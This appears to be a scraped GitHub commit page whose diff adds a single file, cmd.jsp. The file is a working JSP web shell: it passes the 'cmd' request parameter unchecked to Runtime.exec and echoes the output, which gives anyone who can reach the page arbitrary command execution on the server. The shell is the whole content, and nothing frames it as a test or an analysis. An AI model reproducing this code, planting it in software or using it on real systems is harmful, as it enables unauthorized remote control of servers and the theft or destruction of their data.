We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent 6143437 commit 0ded20fCopy full SHA for 0ded20f
1 file changed
cmd.jsp
@@ -0,0 +1,20 @@
1
+<%@ page import="java.io.*" %>
2
+<%
3
+ try {
4
+ String cmd = request.getParameter("cmd");
5
+ Process child = Runtime.getRuntime().exec(cmd);
6
+ InputStream in = child.getInputStream();
7
+ int c;
8
+ while ((c = in.read()) != -1) {
9
+ out.print((char)c);
10
+ }
11
+ in.close();
12
13
+ child.waitFor();
14
+ } catch (InterruptedException e) {
15
+ e.printStackTrace();
16
17
+ } catch (IOException e) {
18
+ System.err.println(e);
19
20
+%>
0 commit comments